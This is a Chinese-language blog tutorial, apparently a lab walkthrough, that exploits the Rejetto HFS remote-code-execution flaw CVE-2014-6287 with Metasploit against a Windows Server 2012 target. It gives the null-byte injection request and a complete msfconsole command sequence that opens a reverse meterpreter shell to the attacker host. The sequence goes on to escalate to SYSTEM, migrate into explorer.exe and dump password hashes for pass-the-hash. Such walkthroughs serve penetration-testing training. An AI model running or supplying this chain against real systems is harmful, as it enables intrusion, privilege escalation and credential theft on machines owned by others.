转载请注明出处:https://blog.csdn.net/l1028386804/article/details/86358284
攻击机: kali 192.168.109.137
靶机: windows server 2012 192.168.109.141
工具:Metasploit
根据CVE-2014-6287的描述,Rejetto网络文件服务器(也被称为HSF或者HttpFileServer)的2.3x版本(2.3c以前的版本)中的parserLib.pas文件使用了一个findMacroMaker函数,该漏洞源于parserLib.pas文件没有正确处理空字节。远程攻击者可借助搜索操作中的%00序列利用该漏洞执行任意程序。
下面给出了这个有漏洞的函数:
function findMacroMarker(s:string; ofs:integer=1):integer;
begin result:=reMatch(s, '\{[.:]|[.:]\}|\|', 'm!', ofs) end;
这个函数不能正确的处理空字节,所以当我们对http://localhost:80/search=%00{.exec|cmd.}发起请求时,就会停止对宏的正则解析,从而导致远程代码的注入。
1.开启MSF
msfconsole
2.渗透漏洞
search hfs
use exploit/windows/http/rejetto_hfs_exec
show options
set RHOST 192.168.109.141
set RPORT 8080
show payloads
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.109.137
set LPORT 4444
show options
exploit
此时,我们已经以管理员的身份获得了Windows server 2012系统的权限。
3.将权限提升为系统级
getsystem
4.查看系统进程和Meterpreter正在驻留的进程号
ps
getpid
5.绑定Meterpreter到其他进程
这里,为了保险起见,我们将Meterpreter的进程绑定到explorer.exe的进程号,这里,explorer.exe的进程号为1864,执行如下命令:
migrate 1864
此时,我们再次输入getpid命令查看,Meterpreter正在驻留的进程号变成了1864
6.收集系统密码的哈希值
hashdump
完成了哈希值的收集之后,就可以执行pass-the-hash攻击,在没有明文密码的情况下绕过限制。